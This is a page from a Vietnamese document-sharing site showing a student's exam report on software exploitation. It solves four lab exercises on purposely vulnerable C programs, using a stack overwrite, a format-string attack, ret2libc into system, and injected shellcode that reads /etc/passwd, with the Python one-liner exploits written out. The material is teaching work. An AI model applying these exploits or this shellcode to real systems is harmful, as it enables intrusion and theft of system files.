1. Trang chủ
  2. » Luận Văn - Báo Cáo

Khai thác lỗ hổng phần mềm part1

9 145 1

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 9
Dung lượng 584,61 KB

Nội dung

BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT Mà ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Sinh viên : Nguyễn Thị Kim Huế SBD : 08 Mã số sinh viên : AT13CLC0101 BÁO CÁO KẾT QUẢ LÀM BÀI THI KẾT THÚC HỌC PHẦN Môn học: Khai thác lỗ hổng phần mềm Khóa đào tạo: AT13CLC Câu - Bước Quan sát mã chương trình: Chương trình exercise1.c - Tạo file thực thi gcc Bước Phân tích tệp tin excercise1 IDA - Biến v1 nằm vị trí esp + 9h biến v2 nằm vị trí esp + 218h biến v2 nằm sau biến v1 khoảng 0x218 – 0x9 = 527 byte Biến v2 nằm vị trí esp + 218h biến v3 nằm vị trí esp + 21Ch biến v3 nằm sau biến v2 khoảng 0x21C – 0x218 = byte - Bước Lập kịch khai thác Để giải ta cần chèn thêm chuỗi 527 byte + chèn giá trị v2 0x4C 0x33 0x22 0x11 Tiếp theo chèn thêm giá trị v3 < lấy giá trị -8 nên ta chèn thêm chuỗi byte định dạng hexa 0xf8 0xff 0xff 0xff Mã khai thác: python -c 'print "A"*527 + "\x4C\x33\x22\x11" + "\xf8\xff\xff\xff"' | /excercise1 Bước Kết khai thác: Câu Bước 1: Quan sát code chương trình excercise2.c Biên dịch chương trình: sudo sysctl kernel.randomize_va_space=0 gcc excercise2.c -o excercise2 -fno-stack-protector -z execstack - Bước 2: Tìm địa hàm trả dòng chữ “you won” - Địa : 0x80485c0 => Đây địa giá trị push vào hàm win: you won! Bước 3: Thử chạy chương trình Ta thấy tham số trống Bước Mã khai thác Cần chèn địa giá trị push tỏng hàm win tham số python -c 'print "B\xc0\x85\x04\x08" + "%x"*7 +"%s"' | /exercise2 Câu - - Bước Xác định khoảng cách buff tới địa trả Chương trình exercise3.c Biên dịch chương trình lệnh: gcc exercise3.c –o exercise3 –z execstack -fno-stack-protector Tạo file win in dòng chữ “You win!” - Đặt Breackpoint địa sau hàm Gets Tức đặt 0x804849a - Địa chi buff : 0xbfffe920 - Địa eip : 0xbfffefac - Vậy khoảng buff eip : 0xbfffefac - 0xbfffe920=1676 = 68C Chạy chương trình lấy điạ buff : 0xbfffe990 - - - Bước Xác định hàm libc cần dùng Ở ta sử dụng hàm thư viện chuẩn LibC là: System Và ta dùng print system để in địa system là: 0xb7e45da0 Ta lấy địa Buf cộng thêm 68C để tính địa ret address là: 0xbffff01c Từ ta có địa hàm sys 0xbffff028 Bước Mã khai thác ngôn ngữ Python python -c 'print "A"*1676 + "\xa0\x5d\xe4\xb7" +"BBBB" +"\x28\xf0\xff\xbf" + "./win"'|./exercise3 - Bước Kết khai thác Kết khai thác in “You won!” Câu 4: Bước 1: Mã shellcode - Shellcode thực thi lệnh "cat /etc/passwd" - - Kiểm tra shellcode - Shellcode : "\x31\xc9\xf7\xe9\x31\xdb\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x68\x2f\x 70\x61\x73\x68\x2f\x65\x74\x63\x89\xe7\x50\x68\x2f\x63\x61\x74\x68\x2f \x62\x69\x6e\x89\xe3\x50\x57\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xdb\xb0\ x01\xcd\x80"; Bước Quan sát mã nguồn chương trình excercise4.c Bước Tìm khoảng cách buff tới địa trả : Địa buff : 0xbfffec89 Địa eip : 0xbfffef8c Khoảng cách buff tới eip : 0xbfffef8c- 0xbfffec89 =771 Bước 4: Mã khai thác : /excercise4 $(python -c 'print"A"*771 + "\x09\xed\xff\xbf"+"\x31\xc9\xf7\xe9\x31\xdb\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x68\x2f\x70\x 61\x73\x68\x2f\x65\x74\x63\x89\xe7\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x 57\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xdb\xb0\x01\xcd\x80"') ... "./win"'|./exercise3 - Bước Kết khai thác Kết khai thác in “You won!” Câu 4: Bước 1: Mã shellcode - Shellcode thực thi lệnh "cat /etc/passwd" - - Kiểm tra shellcode - Shellcode : "x31xc9xf7xe9x31xdbxbbxffx73x77x64xc1xebx08x53x68x2fx

Ngày đăng: 16/10/2019, 10:56

TỪ KHÓA LIÊN QUAN

w